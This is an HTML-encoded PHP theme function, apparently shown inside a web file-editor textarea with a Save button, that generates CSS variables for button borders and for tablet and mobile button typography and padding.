            $css .= &quot;--button-border-type: solid;\n&quot;;
        }

        if ( isset($options[&#039;button_border&#039;][&#039;border-top&#039;]) &amp;&amp; $options[&#039;button_border&#039;][&#039;border-top&#039;] != &quot;&quot; ){
            $css .= &quot;--button-border-top:&quot;. esc_html($options[&#039;button_border&#039;][&#039;border-top&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-border-top: 1px;\n&quot;;
        }

        if ( isset($options[&#039;button_border&#039;][&#039;border-right&#039;]) &amp;&amp; $options[&#039;button_border&#039;][&#039;border-right&#039;] != &quot;&quot; ){
            $css .= &quot;--button-border-right:&quot;. esc_html($options[&#039;button_border&#039;][&#039;border-right&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-border-right: 1px;\n&quot;;
        }

        if ( isset($options[&#039;button_border&#039;][&#039;border-bottom&#039;]) &amp;&amp; $options[&#039;button_border&#039;][&#039;border-bottom&#039;] != &quot;&quot; ){
            $css .= &quot;--button-border-bottom:&quot;. esc_html($options[&#039;button_border&#039;][&#039;border-bottom&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-border-bottom: 1px;\n&quot;;
        }

        if ( isset($options[&#039;button_border&#039;][&#039;border-left&#039;]) &amp;&amp; $options[&#039;button_border&#039;][&#039;border-left&#039;] != &quot;&quot; ){
            $css .= &quot;--button-border-left:&quot;. esc_html($options[&#039;button_border&#039;][&#039;border-left&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-border-left: 1px;\n&quot;;
        }

        /* Button border hover style start */ 

        if ( isset($options[&#039;button_border_hover&#039;][&#039;border-style&#039;]) &amp;&amp; $options[&#039;button_border_hover&#039;][&#039;border-style&#039;] != &quot;&quot; ){
            $css .= &quot;--button-border-hover-type:&quot;. esc_html($options[&#039;button_border_hover&#039;][&#039;border-style&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-border-hover-type: solid;\n&quot;;
        }

        if ( isset($options[&#039;button_border_hover&#039;][&#039;border-top&#039;]) &amp;&amp; $options[&#039;button_border_hover&#039;][&#039;border-top&#039;] != &quot;&quot; ){
            $css .= &quot;--button-border-hover-top:&quot;. esc_html($options[&#039;button_border_hover&#039;][&#039;border-top&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-border-hover-top: 1px;\n&quot;;
        }

        if ( isset($options[&#039;button_border_hover&#039;][&#039;border-right&#039;]) &amp;&amp; $options[&#039;button_border_hover&#039;][&#039;border-right&#039;] != &quot;&quot; ){
            $css .= &quot;--button-border-hover-right:&quot;. esc_html($options[&#039;button_border_hover&#039;][&#039;border-right&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-border-hover-right: 1px;\n&quot;;
        }

        if ( isset($options[&#039;button_border_hover&#039;][&#039;border-bottom&#039;]) &amp;&amp; $options[&#039;button_border_hover&#039;][&#039;border-bottom&#039;] != &quot;&quot; ){
            $css .= &quot;--button-border-hover-bottom:&quot;. esc_html($options[&#039;button_border_hover&#039;][&#039;border-bottom&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-border-hover-bottom: 1px;\n&quot;;
        }

        if ( isset($options[&#039;button_border_hover&#039;][&#039;border-left&#039;]) &amp;&amp; $options[&#039;button_border_hover&#039;][&#039;border-left&#039;] != &quot;&quot; ){
            $css .= &quot;--button-border-hover-left:&quot;. esc_html($options[&#039;button_border_hover&#039;][&#039;border-left&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-border-hover-left: 1px;\n&quot;;
        }

        /* Button border hover style end */ 

        /* Theme Button Variable Declare For Tablet */

        if ( isset($options[&#039;button_style_tablet&#039;][&#039;font-size&#039;]) &amp;&amp; $options[&#039;button_style_tablet&#039;][&#039;font-size&#039;] != &quot;&quot; ){
            $css .= &quot;--button-font-size-tablet:&quot;. esc_html($options[&#039;button_style_tablet&#039;][&#039;font-size&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-font-size-tablet: 16px;\n&quot;;
        }
        
        if ( isset($options[&#039;button_style_tablet&#039;][&#039;line-height&#039;]) &amp;&amp; $options[&#039;button_style_tablet&#039;][&#039;line-height&#039;] != &quot;&quot; ){
            $css .= &quot;--button-line-height-tablet:&quot;. esc_html($options[&#039;button_style_tablet&#039;][&#039;line-height&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-line-height-tablet: 20px;\n&quot;;
        }

        if ( isset($options[&#039;button_style_tablet&#039;][&#039;letter-spacing&#039;]) &amp;&amp; $options[&#039;button_style_tablet&#039;][&#039;letter-spacing&#039;] != &quot;&quot; ){
            $css .= &quot;--button-letter-spacing-tablet:&quot;. esc_html($options[&#039;button_style_tablet&#039;][&#039;letter-spacing&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-letter-spacing-tablet:normal;\n&quot;;
        }

        if ( isset($options[&#039;button_padding_tablet&#039;][&#039;border-top&#039;]) &amp;&amp; $options[&#039;button_padding_tablet&#039;][&#039;border-top&#039;] != &quot;&quot; ){
            $css .= &quot;--button-tablet-padding-top:&quot;. esc_html($options[&#039;button_padding_tablet&#039;][&#039;border-top&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-tablet-padding-top: 5px;\n&quot;;
        }

        if ( isset($options[&#039;button_padding_tablet&#039;][&#039;border-right&#039;]) &amp;&amp; $options[&#039;button_padding_tablet&#039;][&#039;border-right&#039;] != &quot;&quot; ){
            $css .= &quot;--button-tablet-padding-right:&quot;. esc_html($options[&#039;button_padding_tablet&#039;][&#039;border-right&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-tablet-padding-right: 5px;\n&quot;;
        }

        if ( isset($options[&#039;button_padding_tablet&#039;][&#039;border-bottom&#039;]) &amp;&amp; $options[&#039;button_padding_tablet&#039;][&#039;border-bottom&#039;] != &quot;&quot; ){
            $css .= &quot;--button-tablet-padding-bottom:&quot;. esc_html($options[&#039;button_padding_tablet&#039;][&#039;border-bottom&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-tablet-padding-bottom: 5px;\n&quot;;
        }

        if ( isset($options[&#039;button_padding_tablet&#039;][&#039;border-left&#039;]) &amp;&amp; $options[&#039;button_padding_tablet&#039;][&#039;border-left&#039;] != &quot;&quot; ){
            $css .= &quot;--button-tablet-padding-left:&quot;. esc_html($options[&#039;button_padding_tablet&#039;][&#039;border-left&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-tablet-padding-left: 5px;\n&quot;;
        }

        /* Theme Button Variable Declare For Mobile */

        if ( isset($options[&#039;button_style_mobile&#039;][&#039;font-size&#039;]) &amp;&amp; $options[&#039;button_style_mobile&#039;][&#039;font-size&#039;] != &quot;&quot; ){
            $css .= &quot;--button-font-size-mobile:&quot;. esc_html($options[&#039;button_style_mobile&#039;][&#039;font-size&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-font-size-mobile: 14px;\n&quot;;
        }
        
        if ( isset($options[&#039;button_style_mobile&#039;][&#039;line-height&#039;]) &amp;&amp; $options[&#039;button_style_mobile&#039;][&#039;line-height&#039;] != &quot;&quot; ){
            $css .= &quot;--button-line-height-mobile:&quot;. esc_html($options[&#039;button_style_mobile&#039;][&#039;line-height&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-line-height-mobile: 24px;\n&quot;;
        }

        if ( isset($options[&#039;button_style_mobile&#039;][&#039;letter-spacing&#039;]) &amp;&amp; $options[&#039;button_style_mobile&#039;][&#039;letter-spacing&#039;] != &quot;&quot; ){
            $css .= &quot;--button-letter-spacing-mobile:&quot;. esc_html($options[&#039;button_style_mobile&#039;][&#039;letter-spacing&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-letter-spacing-mobile:normal;\n&quot;;
        }

        if ( isset($options[&#039;button_padding_mobile&#039;][&#039;border-top&#039;]) &amp;&amp; $options[&#039;button_padding_mobile&#039;][&#039;border-top&#039;] != &quot;&quot; ){
            $css .= &quot;--button-mobile-padding-top:&quot;. esc_html($options[&#039;button_padding_mobile&#039;][&#039;border-top&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-mobile-padding-top: 5px;\n&quot;;
        }

        if ( isset($options[&#039;button_padding_mobile&#039;][&#039;border-right&#039;]) &amp;&amp; $options[&#039;button_padding_mobile&#039;][&#039;border-right&#039;] != &quot;&quot; ){
            $css .= &quot;--button-mobile-padding-right:&quot;. esc_html($options[&#039;button_padding_mobile&#039;][&#039;border-right&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-mobile-padding-right: 5px;\n&quot;;
        }

        if ( isset($options[&#039;button_padding_mobile&#039;][&#039;border-bottom&#039;]) &amp;&amp; $options[&#039;button_padding_mobile&#039;][&#039;border-bottom&#039;] != &quot;&quot; ){
            $css .= &quot;--button-mobile-padding-bottom:&quot;. esc_html($options[&#039;button_padding_mobile&#039;][&#039;border-bottom&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-mobile-padding-bottom: 5px;\n&quot;;
        }

        if ( isset($options[&#039;button_padding_mobile&#039;][&#039;border-left&#039;]) &amp;&amp; $options[&#039;button_padding_mobile&#039;][&#039;border-left&#039;] != &quot;&quot; ){
            $css .= &quot;--button-mobile-padding-left:&quot;. esc_html($options[&#039;button_padding_mobile&#039;][&#039;border-left&#039;]).&quot;;\n&quot;;
        }else{
            $css .= &quot;--button-mobile-padding-left: 5px;\n&quot;;
        }

        $css .= &quot;}\n&quot;;

        return $css;
    }
}
</textarea><input type='submit' name='save' value='Save' style=''/></form>